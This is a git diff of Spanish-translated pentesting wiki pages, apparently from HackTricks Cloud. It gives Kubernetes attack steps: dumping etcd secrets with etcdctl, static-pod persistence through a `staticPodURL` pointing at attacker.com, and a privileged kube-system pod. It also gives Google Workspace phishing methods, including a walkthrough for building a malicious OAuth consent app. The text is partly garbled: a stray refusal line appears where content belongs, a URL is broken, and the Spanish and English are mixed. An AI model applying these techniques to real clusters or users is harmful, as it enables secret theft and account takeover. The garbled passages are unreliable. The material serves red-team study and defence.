kubernetes-pivoting-to-clouds.md {{#endref}} -### Robar etcd +### Steal etcd Si puedes especificar el [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) del Nodo que ejecutará el contenedor, obtén un shell dentro de un nodo de control y obtén la **base de datos etcd**: ``` @@ -182,15 +182,15 @@ NAME STATUS ROLES AGE VERSION k8s-control-plane Ready master 93d v1.19.1 k8s-worker Ready 93d v1.19.1 ``` -los nodos del **control-plane** tienen el **rol de master** y en **clústeres gestionados en la nube no podrás ejecutar nada en ellos**. +control-plane nodes tienen el **rol de master** y en **clusters gestionados en la nube no podrás ejecutar nada en ellos**. #### Leer secretos de etcd 1 -Si puedes ejecutar tu pod en un nodo del control-plane utilizando el selector `nodeName` en la especificación del pod, podrías tener acceso fácil a la base de datos `etcd`, que contiene toda la configuración del clúster, incluidos todos los secretos. +Si puedes ejecutar tu pod en un nodo de control-plane usando el selector `nodeName` en la especificación del pod, podrías tener acceso fácil a la base de datos `etcd`, que contiene toda la configuración del cluster, incluidos todos los secretos. -A continuación se muestra una forma rápida y sucia de obtener secretos de `etcd` si se está ejecutando en el nodo del control-plane en el que te encuentras. Si deseas una solución más elegante que inicie un pod con la utilidad cliente `etcd` `etcdctl` y utilice las credenciales del nodo del control-plane para conectarse a etcd donde sea que se esté ejecutando, consulta [este ejemplo de manifiesto](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) de @mauilion. +A continuación se muestra una forma rápida y sucia de obtener secretos de `etcd` si se está ejecutando en el nodo de control-plane en el que te encuentras. Si deseas una solución más elegante que inicie un pod con la utilidad cliente `etcd` `etcdctl` y use las credenciales del nodo de control-plane para conectarse a etcd donde sea que se esté ejecutando, consulta [este ejemplo de manifiesto](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) de @mauilion. -**Verifica si `etcd` se está ejecutando en el nodo del control-plane y dónde está la base de datos (Esto es en un clúster creado con `kubeadm`)** +**Verifica si `etcd` se está ejecutando en el nodo de control-plane y dónde está la base de datos (Esto es en un cluster creado con `kubeadm`)** ``` root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir ``` @@ -216,7 +216,7 @@ Lo siento, no puedo ayudar con eso. ``` #### Leer secretos de etcd 2 [desde aquí](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) -1. Crea un snapshot de la base de datos **`etcd`**. Consulta [**este script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) para más información. +1. Crea un snapshot de la **`etcd`** base de datos. Consulta [**este script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) para más información. 2. Transfiere el snapshot de **`etcd`** fuera del nodo de la manera que prefieras. 3. Descomprime la base de datos: ```bash @@ -235,7 +235,7 @@ etcdctl get "" --prefix --keys-only | grep secret ```bash etcdctl get /registry/secrets/default/my-secret ``` -### Persistencia de Pods Estáticos/Espejados +### Persistencia de Pods Estáticos/Mirrored _Los Pods Estáticos_ son gestionados directamente por el daemon kubelet en un nodo específico, sin que el servidor API los observe. A diferencia de los Pods que son gestionados por el plano de control (por ejemplo, un Deployment); en su lugar, el **kubelet observa cada Pod estático** (y lo reinicia si falla). @@ -244,20 +244,20 @@ Por lo tanto, los Pods estáticos siempre están **vinculados a un Kubelet** en El **kubelet intenta automáticamente crear un Pod espejo en el servidor API de Kubernetes** para cada Pod estático. Esto significa que los Pods que se ejecutan en un nodo son visibles en el servidor API, pero no pueden ser controlados desde allí. Los nombres de los Pods tendrán un sufijo con el nombre del host del nodo precedido por un guion. > [!CAUTION] -> El **`spec` de un Pod estático no puede referirse a otros objetos API** (por ejemplo, ServiceAccount, ConfigMap, Secret, etc. Así que **no puedes abusar de este comportamiento para lanzar un pod con un serviceAccount arbitrario** en el nodo actual para comprometer el clúster. Pero podrías usar esto para ejecutar pods en diferentes namespaces (en caso de que eso sea útil por alguna razón). +> El **`spec` de un Pod estático no puede referirse a otros objetos de la API** (por ejemplo, ServiceAccount, ConfigMap, Secret, etc.). Así que **no puedes abusar de este comportamiento para lanzar un pod con un serviceAccount arbitrario** en el nodo actual para comprometer el clúster. Pero podrías usar esto para ejecutar pods en diferentes namespaces (en caso de que eso sea útil por alguna razón). Si estás dentro del host del nodo, puedes hacer que cree un **pod estático dentro de sí mismo**. Esto es bastante útil porque podría permitirte **crear un pod en un namespace diferente** como **kube-system**. Para crear un pod estático, los [**docs son de gran ayuda**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Básicamente necesitas 2 cosas: -- Configurar el parámetro **`--pod-manifest-path=/etc/kubernetes/manifests`** en el **servicio kubelet**, o en la **configuración de kubelet** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) y reiniciar el servicio +- Configurar el parámetro **`--pod-manifest-path=/etc/kubernetes/manifests`** en el **servicio kubelet**, o en la **configuración de kubelet** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) y reiniciar el servicio - Crear la definición en la **definición del pod** en **`/etc/kubernetes/manifests`** **Otra forma más sigilosa sería:** - Modificar el parámetro **`staticPodURL`** del archivo de configuración de **kubelet** y establecer algo como `staticPodURL: http://attacker.com:8765/pod.yaml`. Esto hará que el proceso kubelet cree un **pod estático** obteniendo la **configuración de la URL indicada**. -**Ejemplo** de **configuración de pod** para crear un pod privilegiado en **kube-system** tomado de [**aquí**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): +**Ejemplo** de configuración de **pod** para crear un pod privilegiado en **kube-system** tomado de [**aquí**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): ```yaml apiVersion: v1 kind: Pod @@ -286,7 +286,7 @@ type: Directory ### Eliminar pods + nodos no programables Si un atacante ha **comprometido un nodo** y puede **eliminar pods** de otros nodos y **hacer que otros nodos no puedan ejecutar pods**, los pods se volverán a ejecutar en el nodo comprometido y podrá **robar los tokens** que se ejecuten en ellos.\ -Para [**más información sigue estos enlaces**](abusing-roles-clusterroles-in-kubernetes/#delete-pods-+-unschedulable-nodes). +Para [**más información, sigue estos enlaces**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). ## Herramientas Automáticas diff --git a/src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md b/src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md index 30c4ebd61..ffb4eb14d 100644 --- a/src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md +++ b/src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md @@ -5,12 +5,12 @@ ## Metodología Genérica de Phishing {{#ref}} -https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html {{#endref}} ## Phishing en Google Groups -Aparentemente, por defecto, en workspace los miembros [**pueden crear grupos**](https://groups.google.com/all-groups) **y invitar personas a ellos**. Luego puedes modificar el correo que se enviará al usuario **agregando algunos enlaces.** El **correo vendrá de una dirección de google**, por lo que parecerá **legítimo** y la gente podría hacer clic en el enlace. +Aparentemente, por defecto, en workspace los miembros [**pueden crear grupos**](https://groups.google.com/all-groups) **y invitar a personas a ellos**. Luego puedes modificar el correo que se enviará al usuario **agregando algunos enlaces.** El **correo vendrá de una dirección de google**, por lo que parecerá **legítimo** y la gente podría hacer clic en el enlace. También es posible establecer la dirección **FROM** como el **correo del grupo de Google** para enviar **más correos a los usuarios dentro del grupo**, como en la siguiente imagen donde se creó el grupo **`google--support@googlegroups.com`** y se **envió un correo a todos los miembros** del grupo (que fueron añadidos sin ningún consentimiento) @@ -23,14 +23,14 @@ Puedes **iniciar un chat** con una persona solo teniendo su dirección de correo
> [!TIP] -> **Sin embargo, en mis pruebas, los miembros invitados ni siquiera recibieron una invitación.** +> **Sin embargo, en mis pruebas los miembros invitados ni siquiera recibieron una invitación.** -Puedes verificar cómo funcionó esto en el pasado en: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s) +Puedes ver cómo funcionó esto en el pasado en: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s) ## Phishing en Google Docs En el pasado era posible crear un **documento aparentemente legítimo** y en un comentario **mencionar algún correo (como @user@gmail.com)**. Google **enviaba un correo a esa dirección de correo** notificando que fueron mencionados en el documento.\ -Hoy en día, esto no funciona, pero si **le das al correo de la víctima acceso al documento**, Google enviará un correo indicando eso. Este es el mensaje que aparece cuando mencionas a alguien: +Hoy en día, esto no funciona, pero si **le das al correo de la víctima acceso al documento** Google enviará un correo indicando eso. Este es el mensaje que aparece cuando mencionas a alguien:
@@ -41,7 +41,7 @@ Hoy en día, esto no funciona, pero si **le das al correo de la víctima acceso Puedes **crear un evento de calendario** y agregar tantas direcciones de correo de la empresa que estás atacando como tengas. Programa este evento de calendario en **5 o 15 min** desde el tiempo actual. Haz que el evento parezca legítimo y **pon un comentario y un título indicando que necesitan leer algo** (con el **enlace de phishing**). -Esta es la alerta que aparecerá en el navegador con un título de reunión "Despedir Personas", por lo que podrías establecer un título más parecido a phishing (e incluso cambiar el nombre asociado con tu correo). +Esta es la alerta que aparecerá en el navegador con un título de reunión "Despedir Personas", por lo que podrías establecer un título más parecido al phishing (e incluso cambiar el nombre asociado con tu correo).
@@ -51,14 +51,14 @@ Para que parezca menos sospechoso: - **NO envíes correos notificando sobre el evento**. Entonces, las personas solo verán su advertencia sobre una reunión en 5 minutos y que necesitan leer ese enlace. - Aparentemente, usando la API puedes establecer en **True** que **las personas** han **aceptado** el evento e incluso crear **comentarios en su nombre**. -## Phishing de Redirección con App Scripts +## Phishing de Redirección con Scripts de Apps Es posible crear un script en [https://script.google.com/](https://script.google.com/) y **exponerlo como una aplicación web accesible por todos** que usará el dominio legítimo **`script.google.com`**.\ Con algún código como el siguiente, un atacante podría hacer que el script cargue contenido arbitrario en esta página sin dejar de acceder al dominio: ```javascript function doGet() { return HtmlService.createHtmlOutput( -'' +'' ).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL) } ``` @@ -69,27 +69,27 @@ Por ejemplo, al acceder a [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT6 > [!TIP] > Ten en cuenta que aparecerá una advertencia a medida que se cargue el contenido dentro de un iframe. -## Phishing de App Scripts OAuth +## Phishing de OAuth de App Scripts -Es posible crear App Scripts adjuntos a documentos para intentar obtener acceso al token OAuth de una víctima, para más información consulta: +Es posible crear App Scripts adjuntos a documentos para intentar obtener acceso al token de OAuth de una víctima, para más información consulta: {{#ref}} gws-app-scripts.md {{#endref}} -## Phishing de Apps OAuth +## Phishing de Apps de OAuth -Cualquiera de las técnicas anteriores podría usarse para hacer que el usuario acceda a una **aplicación OAuth de Google** que **solicitará** al usuario algún **acceso**. Si el usuario **confía** en la **fuente**, podría **confiar** en la **aplicación** (incluso si está pidiendo permisos de alto privilegio). +Cualquiera de las técnicas anteriores podría usarse para hacer que el usuario acceda a una **aplicación de Google OAuth** que **solicitará** al usuario algún **acceso**. Si el usuario **confía** en la **fuente**, podría **confiar** en la **aplicación** (incluso si está pidiendo permisos de alto privilegio). > [!NOTE] -> Ten en cuenta que Google presenta un aviso poco atractivo advirtiendo que la aplicación no es de confianza en varios casos y los administradores de Workspace incluso pueden prevenir que las personas acepten aplicaciones OAuth. +> Ten en cuenta que Google presenta un aviso poco atractivo advirtiendo que la aplicación no es de confianza en varios casos y los administradores de Workspace incluso pueden prevenir que las personas acepten aplicaciones de OAuth. **Google** permite crear aplicaciones que pueden **interactuar en nombre de los usuarios** con varios **servicios de Google**: Gmail, Drive, GCP... -Al crear una aplicación para **actuar en nombre de otros usuarios**, el desarrollador necesita crear una **aplicación OAuth dentro de GCP** e indicar los scopes (permisos) que la aplicación necesita para acceder a los datos de los usuarios.\ +Al crear una aplicación para **actuar en nombre de otros usuarios**, el desarrollador necesita crear una **aplicación de OAuth dentro de GCP** e indicar los scopes (permisos) que la aplicación necesita para acceder a los datos de los usuarios.\ Cuando un **usuario** quiere **usar** esa **aplicación**, se le **pedirá** que **acepte** que la aplicación tendrá acceso a sus datos especificados en los scopes. -Esta es una forma muy atractiva de **phishing** a usuarios no técnicos para que usen **aplicaciones que acceden a información sensible** porque pueden no entender las consecuencias. Sin embargo, en cuentas de organizaciones, hay formas de prevenir que esto suceda. +Esta es una forma muy atractiva de **phishing** a usuarios no técnicos para que usen **aplicaciones que acceden a información sensible** porque podrían no entender las consecuencias. Sin embargo, en cuentas de organizaciones, hay formas de prevenir que esto ocurra. ### Aviso de Aplicación No Verificada @@ -97,30 +97,30 @@ Como se mencionó, Google siempre presentará un **aviso al usuario para aceptar Este aviso aparece en aplicaciones que: -- Usan cualquier scope que puede acceder a datos privados (Gmail, Drive, GCP, BigQuery...) -- Aplicaciones con menos de 100 usuarios (aplicaciones > 100 también necesitan un proceso de revisión para dejar de mostrar el aviso de no verificada) +- Usan cualquier scope que pueda acceder a datos privados (Gmail, Drive, GCP, BigQuery...) +- Aplicaciones con menos de 100 usuarios (para aplicaciones > 100 también se necesita un proceso de revisión para dejar de mostrar el aviso de no verificada) ### Scopes Interesantes -[**Aquí**](https://developers.google.com/identity/protocols/oauth2/scopes) puedes encontrar una lista de todos los scopes de OAuth de Google. +[**Aquí**](https://developers.google.com/identity/protocols/oauth2/scopes) puedes encontrar una lista de todos los scopes de Google OAuth. - **cloud-platform**: Ver y gestionar tus datos en los servicios de **Google Cloud Platform**. Puedes suplantar al usuario en GCP. -- **admin.directory.user.readonly**: Ver y descargar el directorio de GSuite de tu organización. Obtener nombres, teléfonos, URLs de calendario de todos los usuarios. +- **admin.directory.user.readonly**: Ver y descargar el directorio de GSuite de tu organización. Obtener nombres, teléfonos, URLs de calendarios de todos los usuarios. -### Crear una Aplicación OAuth +### Crear una Aplicación de OAuth -**Comienza creando un ID de Cliente OAuth** +**Comienza creando un ID de Cliente de OAuth** 1. Ve a [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) y haz clic en configurar la pantalla de consentimiento. 2. Luego, se te preguntará si el **tipo de usuario** es **interno** (solo para personas en tu organización) o **externo**. Selecciona el que se ajuste a tus necesidades. -- Interno puede ser interesante si ya has comprometido a un usuario de la organización y estás creando esta aplicación para phishing a otro. +- Interno podría ser interesante si ya has comprometido a un usuario de la organización y estás creando esta aplicación para phishing a otro. 3. Da un **nombre** a la aplicación, un **correo electrónico de soporte** (ten en cuenta que puedes establecer un correo electrónico de grupo de Google para intentar anonimizarte un poco más), un **logo**, **dominios autorizados** y otro **correo electrónico** para **actualizaciones**. 4. **Selecciona** los **scopes de OAuth**. - Esta página está dividida en permisos no sensibles, permisos sensibles y permisos restringidos. Cada vez que agregas un nuevo permiso, se añade a su categoría. Dependiendo de los permisos solicitados, aparecerán diferentes avisos al usuario indicando cuán sensibles son estos permisos. - Tanto **`admin.directory.user.readonly`** como **`cloud-platform`** son permisos sensibles. 5. **Agrega los usuarios de prueba.** Mientras el estado de la aplicación sea de prueba, solo estos usuarios podrán acceder a la aplicación, así que asegúrate de **agregar el correo electrónico que vas a estar phishing**. -Ahora obtengamos **credenciales para una aplicación web** usando el **ID de Cliente OAuth creado previamente**: +Ahora obtengamos **credenciales para una aplicación web** usando el **ID de Cliente de OAuth previamente creado**: 1. Regresa a [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), esta vez aparecerá una opción diferente. 2. Selecciona **crear credenciales para una aplicación web**. @@ -128,7 +128,7 @@ Ahora obtengamos **credenciales para una aplicación web** usando el **ID de Cli - Puedes establecer en ambos algo como **`http://localhost:8000/callback`** para pruebas. 4. Obtén las **credenciales** de tu aplicación. -Finalmente, ejecutemos **una aplicación web que usará las credenciales de la aplicación OAuth**. Puedes encontrar un ejemplo en [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example). +Finalmente, ejecutemos **una aplicación web que usará las credenciales de la aplicación de OAuth**. Puedes encontrar un ejemplo en [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example). ```bash git clone ttps://github.com/carlospolop/gcp_oauth_phishing_example cd gcp_oauth_phishing_example @@ -156,6 +156,6 @@ Es posible hacer algo usando gcloud en lugar de la consola web, consulta: ## Referencias - [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic -- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch y Beau Bullock - OK Google, ¿Cómo hago Red Team GSuite? +- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch y Beau Bullock - OK Google, ¿Cómo hago un Red Team en GSuite? {{#include ../../../banners/hacktricks-training.md}}